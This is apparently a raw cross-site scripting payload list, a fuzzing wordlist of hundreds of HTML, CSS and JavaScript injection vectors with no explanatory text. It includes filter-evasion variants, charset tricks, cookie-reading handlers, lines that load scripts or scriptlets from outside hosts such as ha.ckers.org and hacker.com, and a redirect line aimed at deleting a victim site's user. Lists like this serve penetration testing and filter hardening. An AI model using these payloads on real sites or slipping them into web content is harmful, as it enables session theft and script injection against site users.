ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF
ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF
ABC<div style="x:\x09expression(javascript:alert(1)">DEF
ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF
ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF
ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF
ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF
ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF
ABC<div style="x:\x20expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF
ABC<div style="x:\x00expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF
ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF
<a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
<video poster=javascript:javascript:alert(1)//
<body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X
<video><source onerror="javascript:javascript:alert(1)">
<video onerror="javascript:javascript:alert(1)"><source>
<form><button formaction="javascript:javascript:alert(1)">X
<body oninput=javascript:alert(1)><input autofocus>
<math href="javascript:javascript:alert(1)">CLICKME</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
<frameset onload=javascript:alert(1)>
<table background="javascript:javascript:alert(1)">
<!--<img src="--><img src=x onerror=javascript:alert(1)//">
<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
<![><img src="]><img src=x onerror=javascript:alert(1)//">
<style><img src="</style><img src=x onerror=javascript:alert(1)//">
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
<object data="data:text/html;base64,%(base64)s">
<embed src="data:text/html;base64,%(base64)s">
<b <script>alert(1)</script>0
<div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
<x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'>
<image src="javascript:alert(1)">
<div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x
<? foo="><script>javascript:alert(1)</script>">
<! foo="><script>javascript:alert(1)</script>">
</ foo="><script>javascript:alert(1)</script>">
<? foo="><x foo='?><script>javascript:alert(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>">
<% foo><x foo="%><script>javascript:alert(1)</script>">
<div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>
<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a>
<title onpropertychange=javascript:alert(1)></title><title title=>
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
<!--[if]><script>javascript:alert(1)</script -->
<!--[if<img src=x onerror=javascript:alert(1)//]> -->
<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>
<a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X
<style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style>
<link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d
<style>@import "data:,*%7bx:expression(javascript:alert(1))%7D";</style>
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="javascript:javascript:alert(1)">XXX</a>
<style>*[{}@import'%(css)s?]</style>X
<div style="font-family:'foo&#10;;color:red;';">XXX
<div style="font-family:foo}color=red;">XXX
<// style=x:expression\28javascript:alert(1)\29>
<style>*{x:expression(javascript:alert(1))}</style>
<div style=content:url(%(svg)s)></div>
<div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X
<div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>
<div style="background:url(/f#&#127;oo/;color:red/*/foo.jpg);">X
<div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
<div id="x">XXX</div> <style>  #x{font-family:foo[bar;color:green;}  #y];color:red;{}  </style>
<x style="background:url('x&#1;;color:red;/*')">XXX</x>
<meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
<meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾
X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >
1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:alert(1)&gt;`>
1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=javascript:alert(1)&gt;>
<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#1></vmlframe>
1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a>
<x style="behavior:url(%(sct)s)">
<xml id="1" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#1" datafld="payload"></label>
<event-source src="%(event)s" onload="javascript:alert(1)">
<a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">
<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:alert(1)&gt;">
<FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET>
<BODY ONLOAD=javascript:alert(1)>
<BODY ONLOAD=javascript:javascript:alert(1)>
<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)>
<<SCRIPT>%(payload)s//<</SCRIPT>
<iframe src=%(scriptlet)s <
<INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);">
<BGSOUND SRC="javascript:javascript:alert(1);">
<BR SIZE="&{javascript:alert(1)}">
<LAYER SRC="%(scriptlet)s"></LAYER>
<LINK REL="stylesheet" HREF="javascript:javascript:alert(1);">
<STYLE>@import'%(css)s';</STYLE>
<META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">
<1 STYLE="behavior: url(%(htc)s);">
<STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>1
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);">
<IFRAME SRC="javascript:javascript:alert(1);"></IFRAME>
<TABLE BACKGROUND="javascript:javascript:alert(1)">
<TABLE><TD BACKGROUND="javascript:javascript:alert(1)">
<DIV STYLE="background-image: url(javascript:javascript:alert(1))">
<DIV STYLE="width:expression(javascript:alert(1));">
<1 STYLE="1:expression(javascript:alert(1))">
<STYLE TYPE="text/javascript">javascript:alert(1);</STYLE>
<STYLE>.1{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=1></A>
<STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE>
<!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->
<BASE HREF="javascript:javascript:alert(1);//">
<OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT>
<HTML xmlns:1><?import namespace="1" implementation="%(htc)s"><1:1>1</1:1></HTML>""","XML namespace."),("""<XML ID="1"><I><B>&lt;IMG SRC="javas<!-- -->cript:javascript:alert(1)"&gt;</B></I></XML><SPAN DATASRC="#1" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="1&lt;SCRIPT DEFER&gt;javascript:alert(1)&lt;/SCRIPT&gt;"></BODY></HTML>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-
<form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X
<body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)">
<STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE>
<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>
<style onreadystatechange=javascript:javascript:alert(1);></style>
<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html>
<embed code=%(scriptlet)s></embed>
<embed code=javascript:javascript:alert(1);></embed>
<embed src=%(jscript)s></embed>
<frameset onload=javascript:javascript:alert(1)></frameset>
<object onerror=javascript:javascript:alert(1)>
<embed type="image" src=%(scriptlet)s></embed>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml>
<a href="jav&#65ascript:javascript:alert(1)">test1</a>
<a href="jav&#97ascript:javascript:alert(1)">test1</a>
<embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed>
<iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:alert(1)&amp;gt;>">
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<a onmouseover="alert(document.cookie)">xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>
perl -e 'print "<IMG SRC=java\0script:alert(\"1\")>";' > out
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("1")>
<INPUT TYPE="IMAGE" SRC="javascript:alert('1');">
<BODY BACKGROUND="javascript:alert('1')">
<STYLE>li {list-style-image: url("javascript:alert('1')");}</STYLE><UL><LI>1</br>
<BODY ONLOAD=alert('1')>
<BGSOUND SRC="javascript:alert('1');">
<BR SIZE="&{alert('1')}">
<LINK REL="stylesheet" HREF="javascript:alert('1');">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/1.css">
<STYLE>@import'http://ha.ckers.org/1.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/1.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/1moz.xml#1")}</STYLE>
exp/*<A STYLE='no\1:no1("*//*");1:ex/*1*//*/*/pression(alert("1"))'>
<STYLE TYPE="text/javascript">alert('1');</STYLE>
<STYLE>.1{background-image:url("javascript:alert('1')");}</STYLE><A CLASS=1></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('1')")}</STYLE>
<1 STYLE="behavior: url(1.htc);">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('1');">
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<DIV STYLE="background-image: url(&#1;javascript:alert('1'))">
<BASE HREF="javascript:alert('1');//">
 <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/1.js></SCRIPT>'"-->
<? echo('<SCR)';echo('IPT>alert("1")</SCRIPT>'); ?>
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('1')</SCRIPT>">
 <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4-
<A HREF="http://66.102.7.147/">1</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">1</A>
<A HREF="http://1113982867/">1</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">1</A>
<A HREF="http://0102.0146.0007.00000223/">1</A>
<A HREF="htt	p://6	6.000146.0x7.147/">1</A>
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
‘; alert(1);
‘)alert(1);//
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
&#39;&#88;&#83;&#83;&#39;&#41;>
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
exp/*<A STYLE='no\1:no1("*//*");
1:ex/*1*//*/*/pression(alert("1"))'>
<!--[if gte IE 4]><SCRIPT>alert('1');</SCRIPT><![endif]-->
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4-
0\"autofocus/onfocus=alert(1)--><video/poster/ error=prompt(2)>"-confirm(3)-"
veris-->group<svg/onload=alert(/1/)//
#"><img src=M onerror=alert('1');>
element[attribute='<img src=x onerror=alert('1');>
[<blockquote cite="]">[" onmouseover="alert('RVRSH3LL_1');" ]
%22;alert%28%27RVRSH3LL_1%29//
javascript:alert%281%29;
<w contenteditable id=x onfocus=alert()>
alert;pg("1")
<svg/onload=%26%23097lert%26lpar;1337)>
<scr<script>ipt>alert(1)</scr</script>ipt><scr<script>ipt>alert(1)</scr</script>ipt>
<sCR<script>iPt>alert(1)</SCr</script>IPt>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a>
%253Cscript%253Ealert('1')%253C%252Fscript%253E
<META onpaonpageonpagonpageonpageshowshoweshowshowgeshow="alert(1)";
<INPUT TYPE="BUTTON" action="alert('1')"/>
><h1><IFRAME width="420" height="315" frameborder="0" onmouseover="document.location.href='https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZr
g'"></IFRAME>Hover the cursor to the LEFT of this Message</h1>&ParamHeight=250
<IFRAME width="420" height="315" frameborder="0" onload="alert(document.cookie)"></IFRAME>
<iframe src=http://1.rocks/scriptlet.html <
<iframe  src="&Tab;javascript:prompt(1)&Tab;">
<sVg><scRipt >alert&lpar;1&rpar; {Opera}
&#34;&#62;<h1/onmouseover='\u0061lert(1)'>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/') </script
<form><a href="javascript:\u0061lert&#x28;1&#x29;">X</script><img/*/src="worksinchrome&colon;prompt&#x28;1&#x29;"/*/onerror='eval(src)'>
<iframe// src=javaSCRIPT&colon;alert(1)
<A HREF="htt p://6 6.000146.0x7.147/">1</A>
'>//\\,<'>">">"*"
'); alert('1
<scr<script>ipt>alert('1');</scr</script>ipt>
<style>@im\port'\ja\vasc\ript:alert(\"1\")';</style>
<? echo('<scr)'; echo('ipt>alert(\"1\")</script>'); ?>
<marquee><script>alert('1')</script></marquee>
</title><script>alert(/1/)</script>
</textarea><script>alert(/1/)</script>
<font style='color:expression(alert(document.cookie))'>
<body onunload="javascript:alert('1');">
<body onLoad="alert('1');"
[color=red' onmouseover="alert('1')"]mouse over[/color]
"/></a></><img src=1.gif onerror=alert(1)>
window.alert("Bonjour !");
<div style="x:expression((window.r==1)?'':eval('r=1;
alert(String.fromCharCode(88,83,83));'))">
<iframe<?php echo chr(11)?> onload=alert('1')></iframe>
'>><marquee><h1>1</h1></marquee>
'">><script>alert('1')</script>
'">><marquee><h1>1</h1></marquee>
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('1');\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('1');\">
<?='<SCRIPT>alert("1")</SCRIPT>'?>
" onfocus=alert(document.domain) "> <"
<FRAMESET><FRAME SRC=\"javascript:alert('1');\"></FRAMESET>
<STYLE>li {list-style-image: url(\"javascript:alert('1')\");}</STYLE><UL><LI>1
perl -e 'print \"<SCR\0IPT>alert(\"1\")</SCR\0IPT>\";' > out
perl -e 'print \"<IMG SRC=java\0script:alert(\"1\")>\";' > out
<br size=\"&{alert('1')}\">
<scrscriptipt>alert(1)</scrscriptipt>
</br style=a:expression(alert())>
[color=red width=expression(alert(1))][color]
Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
<body onLoad="while(true) alert('1');">
'"></title><script>alert(1111)</script>
</textarea>'"><script>alert(document.cookie)</script>
'""><script language="JavaScript"> alert('X \nS \nS');</script>
<html><noalert><noscript>(1)</noscript><script>(1)</script>
'></select><script>alert(1)</script>
'>"><script src = 'http://www.site.com/1.js'></script>
}</style><script>a=eval;b=alert;a(b(/1/.source));</script>
a="get";b="URL";c="javascript:";d="alert('1');";eval(a+b+c+d);
='><script>alert("1")</script>
<body background=javascript:'"><script>alert(navigator.userAgent)</script>></body>
src="http://www.site.com/1.js"></script>
data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=
!--" /><script>alert('1');</script>
'"></title><script>alert("1 by \n1")</script>><marquee><h1>1 by 1</h1></marquee>
'"></title><script>alert(1337)</script>><marquee><h1>1 by 1</h1></marquee>
<iframe src="javascript:alert('1 by \n1');"></iframe><marquee><h1>1 by 1</h1></marquee>
'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt='
\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=\'
http://www.simpatie.ro/index.php?page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??1??
http://www.simpatie.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??1??
'); alert('1'); var x='
\\'); alert(\'1\');var x=\'
//--></SCRIPT><SCRIPT>alert(String.fromCharCode(88,83,83));
>"><ScRiPt%20%0a%0d>alert(561177485777)%3B</ScRiPt>
</body>
</html>
<BODY ONLOAD=alert("1")>
<IFRAME SRC=”http://hacker-site.com/1.html”>
<TD BACKGROUND="javascript:alert('1')">
<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/1.html">
<EMBED SRC="http://hacker.com/1.swf" AllowScriptAccess="always">
&apos;;alert(String.fromCharCode(88,83,83))//\&apos;;alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;
&apos;&apos;;!--&quot;&lt;1&gt;=&amp;{()}
&lt;SCRIPT&gt;alert(&apos;1&apos;)&lt;/SCRIPT&gt;
&lt;SCRIPT SRC=http://ha.ckers.org/1.js&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;
&lt;BASE HREF=&quot;javascript:alert(&apos;1&apos;);//&quot;&gt;
&lt;BGSOUND SRC=&quot;javascript:alert(&apos;1&apos;);&quot;&gt;
&lt;BODY BACKGROUND=&quot;javascript:alert(&apos;1&apos;);&quot;&gt;
&lt;BODY ONLOAD=alert(&apos;1&apos;)&gt;
&lt;DIV STYLE=&quot;background-image: url(javascript:alert(&apos;1&apos;))&quot;&gt;
&lt;DIV STYLE=&quot;background-image: url(&amp;#1;javascript:alert(&apos;1&apos;))&quot;&gt;
&lt;DIV STYLE=&quot;width: expression(alert(&apos;1&apos;));&quot;&gt;
&lt;FRAMESET&gt;&lt;FRAME SRC=&quot;javascript:alert(&apos;1&apos;);&quot;&gt;&lt;/FRAMESET&gt;
&lt;IFRAME SRC=&quot;javascript:alert(&apos;1&apos;);&quot;&gt;&lt;/IFRAME&gt;
&lt;INPUT TYPE=&quot;IMAGE&quot; SRC=&quot;javascript:alert(&apos;1&apos;);&quot;&gt;
&lt;IMG SRC=&quot;javascript:alert(&apos;1&apos;);&quot;&gt;
&lt;IMG SRC=javascript:alert(&apos;1&apos;)&gt;
&lt;IMG DYNSRC=&quot;javascript:alert(&apos;1&apos;);&quot;&gt;
&lt;IMG LOWSRC=&quot;javascript:alert(&apos;1&apos;);&quot;&gt;
&lt;IMG SRC=&quot;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&quot;&gt;
Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;deleteuser
exp/*&lt;1 STYLE=&apos;no\1:no1(&quot;*//*&quot;);
&lt;STYLE&gt;li {list-style-image: url(&quot;javascript:alert(&#39;1&#39;)&quot;);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;1
&lt;IMG SRC=&apos;vbscript:msgbox(&quot;1&quot;)&apos;&gt;
&lt;LAYER SRC=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/LAYER&gt;
&lt;IMG SRC=&quot;livescript:[code]&quot;&gt;
%BCscript%BEalert(%A21%A2)%BC/script%BE
&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=javascript:alert(&apos;1&apos;);&quot;&gt;
&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&gt;
&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0; URL=http://;URL=javascript:alert(&apos;1&apos;);&quot;&gt;
&lt;IMG SRC=&quot;mocha:[code]&quot;&gt;
&lt;OBJECT TYPE=&quot;text/x-scriptlet&quot; DATA=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/OBJECT&gt;
&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert(&apos;1&apos;)&gt;&lt;/OBJECT&gt;
&lt;EMBED SRC=&quot;http://ha.ckers.org/1.swf&quot; AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;
